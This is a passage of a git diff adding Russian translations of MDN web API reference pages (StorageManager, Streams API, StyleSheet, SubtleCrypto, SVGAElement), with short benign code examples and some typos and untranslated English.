+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Document.hasStorageAccess")}}</p>
+
+<p>{{Compat("api.Document.requestStorageAccess")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/API/Storage_Access_API/Using">Использоваие Storage Access API</a></p>
diff --git a/files/ru/web/api/storagemanager/estimate/index.html b/files/ru/web/api/storagemanager/estimate/index.html
new file mode 100644
index 0000000000..ff509f32fd
--- /dev/null
+++ b/files/ru/web/api/storagemanager/estimate/index.html
@@ -0,0 +1,78 @@
+---
+title: StorageManager.estimate()
+slug: Web/API/StorageManager/estimate
+tags:
+  - метод
+translation_of: Web/API/StorageManager/estimate
+---
+<p>{{securecontext_header}}{{APIRef("Storage")}}</p>
+
+<p>The <strong><code>estimate()</code></strong> method of the {{domxref("StorageManager")}} interface asks the Storage Manager to obtain quota and usage information for the current origin. This method operates asynchronously, so it returns a {{jsxref("Promise")}} which resolves once the information is available. The promise's fulfillment handler receives as an input a {{domxref("StorageEstimate")}} with the usage and quota data.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>estimatePromise</em> = <em>StorageManager</em>.estimate();</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>None.</p>
+
+<h3 id="Возвращаемый_результат">Возвращаемый результат</h3>
+
+<p>A {{jsxref('Promise')}} that resolves to an object which conforms to the {{domxref('StorageEstimate')}} dictionary. This dictionary contains estimates of how much space is available to the origin or app (in {{domxref("StorageEstimate.quota")}}, as well as how much is currently used (in {{domxref("StorageEstimate.usage")}}). These are not exact numbers; between compression, deduplication, and obfuscation for security reasons, they will not be precise.</p>
+
+<p>You may find that the <code>quota</code> varies from app to app based on factors such as the frequency with which the user visits it, commonly-known site popularity data, and so forth.</p>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<p>In this example, we obtain the usage estimates and present the percentage of storage capacity currently used to the user.</p>
+
+<h3 id="HTML_content">HTML content</h3>
+
+<pre class="brush: html">&lt;p&gt;
+  You're currently using about &lt;span id="percent"&gt;
+  &lt;/span&gt;% of your available storage.
+&lt;/p&gt;
+</pre>
+
+<h3 id="JavaScript_content">JavaScript content</h3>
+
+<pre class="brush: js">navigator.storage.estimate().then(function(estimate) {
+  document.getElementById("percent").innerHTML =
+      (estimate.usage / estimate.quota).toFixed(2);
+});
+</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>{{ EmbedLiveSample('Example', 600, 40) }}</p>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Storage','#dom-storagemanager-estimate','estimate()')}}</td>
+   <td>{{Spec2('Storage')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.StorageManager.estimate")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Storage API</li>
+ <li>{{domxref("Storage")}}, the object returned by {{domxref("Window.localStorage")}}</li>
+ <li>{{domxref("StorageManager")}}</li>
+ <li>{{domxref("navigator.storage")}}</li>
+</ul>
diff --git a/files/ru/web/api/storagemanager/index.html b/files/ru/web/api/storagemanager/index.html
new file mode 100644
index 0000000000..c28ba798a3
--- /dev/null
+++ b/files/ru/web/api/storagemanager/index.html
@@ -0,0 +1,53 @@
+---
+title: StorageManager
+slug: Web/API/StorageManager
+tags:
+  - API
+  - Interface
+  - Persistence
+  - Quotas
+  - Reference
+  - Secure context
+  - Storage
+  - Storage API
+  - StorageManager
+  - Usage
+translation_of: Web/API/StorageManager
+---
+<p>{{securecontext_header}}{{SeeCompatTable}}{{APIRef("Storage")}}</p>
+
+<p><strong><code>StorageManager</code></strong> является частью <a href="/en-US/docs/Web/API/Storage_API">Storage API</a> и предоставляет интерфейс для управления правами на хранение данных и для получения объема данных, доступного для хранения. Доступ к интерфейсу можно получить через {{domxref("navigator.storage")}} или через {{domxref("WorkerNavigator.storage")}}.</p>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("StorageManager.estimate()")}} {{securecontext_inline}}</dt>
+ <dd>Возвращает объект {{domxref("StorageEstimate")}}, который содержит используемый и максимальный объем данных (квоту) для вашего сайта.</dd>
+ <dt>{{domxref("StorageManager.persist()")}} {{securecontext_inline}}</dt>
+ <dd>Возвращает {{jsxref('Promise')}}, который принимает значение <code>true</code> в случае, когда браузер имеет возможность хранить данные вашего сайта.</dd>
+ <dt>{{domxref("StorageManager.persisted()")}} {{securecontext_inline}}</dt>
+ <dd>Возвращает {{jsxref('Promise')}}, который принимает значение <code>true</code> в случае, когда сайт получил возможность хранить данные в браузере.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Storage','#storagemanager','StorageManager')}}</td>
+   <td>{{Spec2('Storage')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.StorageManager")}}</p>
diff --git a/files/ru/web/api/streams_api/index.html b/files/ru/web/api/streams_api/index.html
new file mode 100644
index 0000000000..94959b7eba
--- /dev/null
+++ b/files/ru/web/api/streams_api/index.html
@@ -0,0 +1,141 @@
+---
+title: Streams API
+slug: Web/API/Streams_API
+translation_of: Web/API/Streams_API
+---
+<div>{{SeeCompatTable}}{{APIRef("Streams")}}</div>
+
+<p class="summary">Streams API (АПИ обработки потоков) позволяет програмно получить доступ с помощью JavaScript к полученным по сети потокам данных и обработать их по желанию разработчика.</p>
+
+<h2 id="Концепция_и_использование">Концепция и использование</h2>
+
+<p>Потоковая передача данных предполагает разбивку ресура, который вы хотите получить через сеть, на мелкие кусочки и затем их обработку часть за частью. Это то, что браузеры делают в любом случае получения ассетов, чтобы показать их на страницах — видео буфер и другие ресурсы доступные для воспроизведения, и иногда это заметно на изображениях, загружающихся частями.</p>
+
+<p>Но методы работы с этим и данные никогда прежде не были доступны для JavaScript. Раньше, если мы хотели обработать часть ресурса, нам все равно пришлось бы загрузить весь файл (будь то видео, текстовый файл и т.п.), мы были бы обязаны скачать файл целиком, дождаться пока он будет приведен к необходимому формату и только потом работать с файлом после его полной загрузки.</p>
+
+<p>С помощью потоков доступных в JavaScript меняется все — вы можете начать обрабатывать данные бит за битом как только данные появляются на стороне клиента, без необходимости генерировать буффер, строку или какой либо объект из потока.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15817/Concept.png" style="display: block; height: 382px; margin: 0px auto; width: 1000px;"></p>
+
+<p>Но это не все преимущества — вы можете отловить процессы старта и завершения потока, связывать потоки в цепочки, обрабатывать ошибки или прерывать их если это необходимо, реагировать на скорость с которой поток считывается.</p>
+
+<p>Основное использование потоков крутиться вокруг создания ответов доступными в виде потоков. Например, тело ответа {{domxref("Body")}} возвращенного успешным <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросом</a> может быть представлено как {{domxref("ReadableStream")}}, и вы можете прочитать его используя ридер полученный методом {{domxref("ReadableStream.getReader()")}}, отменить его с помошью {{domxref("ReadableStream.cancel()")}}, и тп.</p>
+
+<p>Более сложные примеры задействуют создание ваших собственных  потоков с помощью конструктора {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}, например чтобы обработать данные внутри <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a>.</p>
+
+<p>Вы также можете записывать данные в потоки используя {{domxref("WritableStream")}}.</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: вы можете найти больше информации о теории и практике использования потоков в следующих статьях — <a href="/en-US/docs/Web/API/Streams_API/Concepts">Концепты API потоков</a> , <a href="/en-US/docs/Web/API/Streams_API/Using_readable_streams">Использование потоков на чтение</a>, и <a href="/en-US/docs/Web/API/Streams_API/Using_writable_streams">Использование потоков на запись</a>.</p>
+</div>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<h3 id="Потоки_чтения_данных">Потоки чтения данных</h3>
+
+<dl>
+ <dt>{{domxref("ReadableStream")}}</dt>
+ <dd>Представляет собой считываемый поток данных. Он может быть использован чтобы обработать потоки ответов от <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>, или созданный разработчиком поток (например произвольный {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}).</dd>
+ <dt>{{domxref("ReadableStreamDefaultReader")}}</dt>
+ <dd>Представляет собой считывателя, который может быть использован чтобы считать данные поставляемые из сети (например fetch запрос).</dd>
+ <dt>{{domxref("ReadableStreamDefaultController")}}</dt>
+ <dd>Представляет собой контроллер позволяющий контролировать состояние {{domxref("ReadableStream")}} и очереди внутри него. Является контроллером по умолчанию для не байтовых потоков.</dd>
+</dl>
+
+<h3 id="Writable_streams">Writable streams</h3>
+
+<dl>
+ <dt>{{domxref("WritableStream")}}</dt>
+ <dd>Предоставляет стандартную абстракцию, известную как раковина, для записи потоков по месту назначения. Этот объект идет вместе со встроенными методами контроля обратного потока и созданием очередей.</dd>
+ <dt>{{domxref("WritableStreamDefaultWriter")}}</dt>
+ <dd>Представляет запись потока по умолчанию, которая может использоваться для записи фрагментов данных в записываемый поток.</dd>
+ <dt>{{domxref("WritableStreamDefaultController")}}</dt>
+ <dd>Представляет собой контроллер состояния {{domxref("WritableStream")}}. При создании <code>WritableStream</code>, создается также соответствующий экземпляр <code>WritableStreamDefaultController</code>.</dd>
+</dl>
+
+<h3 id="Дополнительные_API_и_операции_по_работе_с_потоками">Дополнительные API и операции по работе с потоками</h3>
+
+<dl>
+ <dt>{{domxref("ByteLengthQueuingStrategy")}}</dt>
+ <dd>Предоставляет встроенную стратегию длины байт-очереди, которая может быть использована при построении потоков.</dd>
+ <dt>{{domxref("CountQueuingStrategy")}}</dt>
+ <dd>Предоставляет встроенную стратегию организации очередей подсчета чанков, которая может использоваться при построении потоков.</dd>
+</dl>
+
+<h3 id="Дополнения_к_другим_API">Дополнения к другим API</h3>
+
+<dl>
+ <dt>{{domxref("Request")}}</dt>
+ <dd>При создании нового объекта типа <code>Request</code>, вы можете добавить {{domxref("ReadableStream")}} в свойство <code>body</code> его словаря <code>RequestInit</code>.  Этот обект типа <code>Request</code> может быть отправлен в  {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, чтобы начать загрузку потока.</dd>
+ <dt>{{domxref("Body")}}</dt>
+ <dd>Ответ {{domxref("Body")}} возвращенный успешному <a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/fetch">fetch запросу</a> вывешивается по умолчанию как {{domxref("ReadableStream")}}, и может иметь получателя прикрепленного к нему и тп.</dd>
+</dl>
+
+<h3 id="Интерфейсы_в_дополнение_к_ByteStream">Интерфейсы в дополнение к ByteStream</h3>
+
+<div class="warning">
+<p><strong>Важно</strong>: данные интерфейсы пока не реализованы, и были подняты вопросы о том, находятся ли детали спецификации в достаточно законченном состоянии для их реализации. Со временем это может измениться</p>
+</div>
+
+<dl>
+ <dt>{{domxref("ReadableStreamBYOBReader")}}</dt>
+ <dd>Represents a BYOB ("bring your own buffer") reader that can be used to read stream data supplied by the developer (e.g. a custom {{domxref("ReadableStream.ReadableStream", "ReadableStream()")}} constructor).</dd>
+ <dt>{{domxref("ReadableByteStreamController")}}</dt>
+ <dd>Контроллер позволяющий обрабатывать состояние {{domxref("ReadableStream")}} и внутреннюю очередь. Байтовые контроллеры для байтовых потоков.</dd>
+ <dt>{{domxref("ReadableStreamBYOBRequest")}}</dt>
+ <dd>Represents a pull into request in a {{domxref("ReadableByteStreamController")}}.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Мы создали папку с примерами, которые идут вместе с документацией к API потоков — смотрите <a href="https://github.com/mdn/dom-examples/tree/master/streams">mdn/dom-examples/streams</a>. Можно найти такие примеры как:</p>
+
+<ul>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-pump/">Simple stream pump</a>: Этот пример показывает как использовать поток чтения данных и передавать его данные в другой поток.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/grayscale-png/">Сделать черно-белый PNG</a>: Пример показывает конвертацию потока данных PNG изображения в черно-белый формат.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-random-stream/">Простой произвольный поток</a>: В этом примере показано, как использовать пользовательский поток для создания случайных строк, помещать их в очередь как блоки, а затем считывать их обратно.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-tee-example/">Simple tee example</a>: Этот пример расширяет первый пример, показывая как поток может быть связан, и оба результирующих потока будут прочитаны независимо.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/simple-writer/">Simple writer</a>: This example shows how to to write to a writable stream, then decode the stream and write the contents to the UI.</li>
+ <li><a href="http://mdn.github.io/dom-examples/streams/png-transform-stream/">Unpack chunks of a PNG</a>: This example shows how <a href="https://developer.mozilla.org/en-US/docs/Web/API/ReadableStream/pipeThrough"><code>pipeThrough()</code></a> can be used to transform a ReadableStream into a stream of other data types by transforming a data of a PNG file into a stream of PNG chunks.</li>
+</ul>
+
+<p>Примеры от других разработчиков:</p>
+
+<ul>
+ <li><a href="https://fetch-progress.anthum.com/">Progress Indicators with Streams, Service Workers, &amp; Fetch</a>.</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Streams')}}</td>
+   <td>{{Spec2('Streams')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<h3 id="Поток_записи_данных">Поток записи данных</h3>
+
+<p>{{Compat("api.WritableStream")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Streams_API/Concepts">Streams API концепт</a></li>
+ <li><a href="/en-US/docs/Web/API/Streams_API/Using_readable_streams">Использование потоков чтения</a></li>
+ <li><a href="/en-US/docs/Web/API/Streams_API/Using_writable_streams">Использование потоков записи</a></li>
+</ul>
diff --git a/files/ru/web/api/stylesheet/disabled/index.html b/files/ru/web/api/stylesheet/disabled/index.html
new file mode 100644
index 0000000000..6533b03241
--- /dev/null
+++ b/files/ru/web/api/stylesheet/disabled/index.html
@@ -0,0 +1,54 @@
+---
+title: StyleSheet.disabled
+slug: Web/API/StyleSheet/disabled
+tags:
+  - Свойство
+  - Стили
+translation_of: Web/API/StyleSheet/disabled
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p class="summary">Свойство <code><strong>disabled</strong></code> интерфейса {{domxref("StyleSheet")}} определяет будет ли таблица стилей защищена от применения в документе</p>
+
+<p>Тааблицу стилей можно отключить, установив для этого свойства значение <code>true</code>, или, если она неактивна, с помощью <a href="/en-US/docs/Web/CSS/Alternative_style_sheets">альтернативной таблице стилей</a>. Заметьте, что <code>disabled == false</code> не гарантирует применение таблице стилей (она может быть удалена из документа, к примеру).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>bool</em> = stylesheet.disabled
+</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">// Если таблица стилей отключена...
+if (stylesheet.disabled) {
+  // ... применять стили в строке.
+}
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM", "#dom-stylesheet-disabled", "StyleSheet.disabled")}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td>Нет изменений {{SpecName("DOM2 Style")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Style", "stylesheets.html#StyleSheets-StyleSheet-disabled", "StyleSheet.disabled")}}</td>
+   <td>{{Spec2("DOM2 Style")}}</td>
+   <td>Первое определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.StyleSheet.disabled")}}</p>
diff --git a/files/ru/web/api/stylesheet/index.html b/files/ru/web/api/stylesheet/index.html
new file mode 100644
index 0000000000..07740ac283
--- /dev/null
+++ b/files/ru/web/api/stylesheet/index.html
@@ -0,0 +1,68 @@
+---
+title: StyleSheet
+slug: Web/API/StyleSheet
+tags:
+  - Интерфейсы
+  - Объектная модель CSS
+  - Референсы
+  - Таблицы стилей
+translation_of: Web/API/StyleSheet
+---
+<div>{{APIRef("CSSOM")}} Объектная модель CSS</div>
+
+<p>Объект, реализующий интерфейс <code>StyleSheet</code>, представляет отдельную таблицу стилей. Таблица стилей CSS далее будет представлена более специализированным интерфейсом  {{domxref("CSSStyleSheet")}}.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("StyleSheet.disabled")}}</dt>
+ <dd>Свойство имеет тип {{domxref("Boolean")}}, принимающий одно из двух значений и определяющий, применяется или нет текущая таблица стилей.</dd>
+ <dt>{{domxref("StyleSheet.href")}} {{readonlyInline}}</dt>
+ <dd>Свойство возвращает строку {{domxref("DOMString")}}, указывающую расположение таблицы стилей. Свойство не изменяется.</dd>
+ <dt>{{domxref("StyleSheet.media")}} {{readonlyInline}}</dt>
+ <dd>Свойство содержит список медиа-установок{{domxref("MediaList")}} таблицы стилей и определяет медиа-устройства, для отображения на которых предназначена данная таблица. Свойство не изменяется.</dd>
+ <dt>{{domxref("StyleSheet.ownerNode")}} {{readonlyInline}}</dt>
+ <dd>Свойство возвращает ссылку на объект (узел){{domxref("Node")}}, ссылающийся на данную таблицу стилей текущего документа. Свойство не изменяется.</dd>
+ <dt>{{domxref("StyleSheet.parentStyleSheet")}} {{readonlyInline}}</dt>
+ <dd>Свойство возвращает ссылку на родительскую таблицу стилей {{domxref("StyleSheet")}}, включаюущую данную таблицу стилей; если таковой нет, возвращает значение <code>null</code>. Свойство не изменяется.</dd>
+ <dt>{{domxref("StyleSheet.title")}} {{readonlyInline}}</dt>
+ <dd>Свойство возвращает строку {{domxref("DOMString")}}, указывающую на заголовок  текущей таблицы стилей. Свойство не изменяется.</dd>
+ <dt>{{domxref("StyleSheet.type")}}{{readonlyInline}}</dt>
+ <dd>Свойство возвращает строку {{domxref("DOMString")}}, указывающую на язык, используемый таблицей стилей. Свойство не изменяется.</dd>
+</dl>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSSOM', '#stylesheet', 'StyleSheet') }}</td>
+   <td>{{ Spec2('CSSOM') }}</td>
+   <td>Без изменений с {{ SpecName('DOM2 Style') }}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('DOM2 Style', 'stylesheets.html#StyleSheets-StyleSheet', 'StyleSheet') }}</td>
+   <td>{{ Spec2('DOM2 Style') }}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<div class="hidden">
+<p><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Таблица совместимости на этой странице создана на основе структурированных данных.</span></span> <span class="ChMk0b JLqJ4b"><span>Если вы хотите внести свой вклад в данные, посетите https://github.com/mdn/browser-compat-data и отправьте нам запрос на перенос.</span></span></span></p>
+</div>
+
+<p>{{Compat("api.StyleSheet")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("CSSStyleSheet")}}</li>
+</ul>
diff --git a/files/ru/web/api/subtlecrypto/index.html b/files/ru/web/api/subtlecrypto/index.html
new file mode 100644
index 0000000000..7070db0af1
--- /dev/null
+++ b/files/ru/web/api/subtlecrypto/index.html
@@ -0,0 +1,122 @@
+---
+title: SubtleCrypto
+slug: Web/API/SubtleCrypto
+translation_of: Web/API/SubtleCrypto
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p>Интерфейс <code><strong>SubtileCrypto</strong></code> представляет набор криптографическиз примитивов. Эземпляр <code><strong>SubtileCrypto</strong></code> доступен как {{domxref("Crypto.subtle")}}, в контексте window ({{domxref("Window.crypto")}}).</p>
+
+<div class="warning">
+<p>Per the spec: "Developers making use of the SubtleCrypto interface are expected to be aware of the security concerns associated with both the design and implementation of the various algorithms provided. The raw algorithms are provided in order to allow developers maximum flexibility in implementing a variety of protocols and applications, each of which may represent the composition and security parameters in a unique manner that necessitate the use of the raw algorithms."</p>
+</div>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Интерфейс не наследует и не определяет собственные свойства.</em></p>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("SubtleCrypto.encrypt()")}}</dt>
+ <dd>Возврщает {{jsxref("Promise")}} с данными, зашифрованными на основании исходного текста, алгоритма шифровани и ключа, переданных в качества аргументов.</dd>
+ <dt>{{domxref("SubtleCrypto.decrypt()")}}</dt>
+ <dd>Возврщает {{jsxref("Promise")}} с исходным текстом. В качества аргументов принимает зашифрованную строку, алгоритм шифрования и ключ.</dd>
+ <dt>{{domxref("SubtleCrypto.sign()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}} с сигнатурой, полученной на основании текста, алгоритма шифрования и ключа, переданных в качества аргументов.</dd>
+ <dt>{{domxref("SubtleCrypto.verify()")}}</dt>
+ <dd>Возврашает {{jsxref("Promise")}} с {{jsxref("Boolean")}} значением, определяющим соответствует ли переданная сигнатура тексу, алгоритму шифрования и ключу, также переданным в качества аргументов.</dd>
+ <dt>{{domxref("SubtleCrypto.digest()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}} с хеш-суммой сгенерированной на основании алгоритма шифрования и исходного текста, переданных в качества аргументов</dd>
+ <dt>{{domxref("SubtleCrypto.generateKey()")}}</dt>
+ <dd>Возаращает {{jsxref("Promise")}} с сгенерированным {{domxref("CryptoKey")}} для симметричных алгоритмов, или {{domxref("CryptoKeyPair")}} для асимметричных алгоритмов.</dd>
+ <dt>{{domxref("SubtleCrypto.deriveKey()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}} с сгенерированным {{domxref("CryptoKey")}}, на основе переданных в качесва аргументов мастер-ключа и алгоритма шифрования.</dd>
+ <dt>{{domxref("SubtleCrypto.deriveBits()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}} с буфером псевдо-случайных бит, полученных на основании мастер-ключа и алгоритма шифрования, переданных в качества аргументов.</dd>
+ <dt>{{domxref("SubtleCrypto.importKey()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} of a {{domxref("CryptoKey")}} corresponding to the format, the algorithm, the raw key data, the usages and the extractability given as parameters.</dd>
+ <dt>{{domxref("SubtleCrypto.exportKey()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} of a buffer containing the key in the format requested.</dd>
+ <dt>{{domxref("SubtleCrypto.wrapKey()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} of a wrapped symmetric key for usage (transfer, storage) in insecure environments. The wrapped buffer returned is in the format given in parameters, and contains the key wrapped by the given wrapping key with the given algorithm.</dd>
+ <dt>{{domxref("SubtleCrypto.unwrapKey()")}}</dt>
+ <dd>Returns a {{jsxref("Promise")}} of a {{domxref("CryptoKey")}} corresponding to the wrapped key given in parameter.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('Web Crypto API', '#subtlecrypto-interface', 'SubtleCrypto') }}</td>
+   <td>{{ Spec2('Web Crypto API') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatChrome(37) }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop(34) }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>37</td>
+   <td>{{ CompatChrome(37) }}</td>
+   <td>{{ CompatGeckoMobile(34) }}</td>
+   <td>{{ CompatNo }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>8</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Crypto")}} and {{domxref("Crypto.subtle")}}.</li>
+</ul>
diff --git a/files/ru/web/api/svgaelement/index.html b/files/ru/web/api/svgaelement/index.html
new file mode 100644
index 0000000000..22ec57c774
--- /dev/null
+++ b/files/ru/web/api/svgaelement/index.html
@@ -0,0 +1,142 @@
+---
+title: SVGAElement
+slug: Web/API/SVGAElement
+translation_of: Web/API/SVGAElement
+---
+<p>{{APIRef("SVG")}}</p>
+
+<p>{{SeeCompatTable}}</p>
+
+<p>Интерфейс <strong><code>SVGAElement</code></strong><code> предоставляет доступ к свойствам </code> {{ SVGElement("a") }} элемента а также к методам манипулирования ими.</p>
+
+<p>Интерфейс наследует следующие интерфейсы: {{ domxref("SVGElement") }}, {{ domxref("SVGURIReference") }}, {{ domxref("SVGTests") }}, {{ domxref("SVGLangSpace") }}, {{ domxref("SVGExternalResourcesRequired") }}, {{ domxref("SVGStylable") }}, {{ domxref("SVGTransformable") }}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Этот интерфейс также наследует свойства от его родителя, {{domxref("SVGGraphicsElement")}} и реализует свойства из {{domxref("SVGURIReference")}} и {{domxref("HTMLHyperlinkElementUtils")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("SVGAElement.download")}}</dt>
+ <dd>См. {{domxref("HTMLAnchorElement.download")}}.</dd>
+ <dt>{{domxref("SVGAElement.href")}}</dt>
+ <dd>См. {{domxref("HTMLAnchorElement.href")}}.</dd>
+ <dt>{{domxref("SVGAElement.hreflang")}}</dt>
+ <dd>Является {{domxref("DOMString")}}, который отражает атрибут <code>hreflang</code>, указывающий язык связанного ресурса.</dd>
+ <dt>{{domxref("SVGAElement.ping")}}</dt>
+ <dd>Является {{domxref("DOMString")}}, отражая атрибут ping, содержащий список URL-адресов, разделенных пробелами, к которым, когда выполняется гиперссылка, {{HTTPMethod("POST")}} запрос с телом <code>PING</code> будет отправлен браузером (в фоновом режиме). Обычно используется для отслеживания.</dd>
+ <dt>{{domxref("SVGAElement.referrerPolicy")}}</dt>
+ <dd>См. {{domxref("HTMLAnchorElement.referrerPolicy")}}.</dd>
+ <dt>{{domxref("SVGAElement.rel")}}</dt>
+ <dd>См. {{domxref("HTMLAnchorElement.rel")}}.</dd>
+ <dt>{{domxref("SVGAElement.relList")}}</dt>
+ <dd>См. {{domxref("HTMLAnchorElement.relList")}}.</dd>
+ <dt>{{domxref("SVGAElement.target")}} {{readonlyInline}}</dt>
+ <dd>соответствует аттрибуту {{SVGAttr("target")}} данного элемента. </dd>
+ <dt>{{domxref("SVGAElement.text")}}</dt>
+ <dd>Является {{domxref("DOMString")}} синонимом свойства {{domxref("Node.textContent")}}. </dd>
+ <dt>{{domxref("SVGAElement.type")}}</dt>
+ <dd>Is a that reflects theattribute, indicating the MIME type of the linked resource. <br>
+ Является {{domxref("DOMString")}}, который отражает атрибут <code>type</code> , указывающий тип MIME связанного ресурса.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Этот интерфейс не имеет методов, но наследует методы от его родителя, {{domxref ("SVGGraphicsElement")}}. </em></p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В примере ниже, атрибуту {{SVGAttr("target")}} элемента {{SVGElement('a')}} присвоено значение <em>_blank</em> и при клике по ссылке, при соблюдении условий, выведется сообщение в модальном окне. </p>
+
+<pre class="brush: js">var linkRef = document.querySelector('a');
+linkRef.target ='_self';
+
+linkRef.onclick = function(){
+    if (linkRef.target == '_blank') {
+        alert("BLANK !");
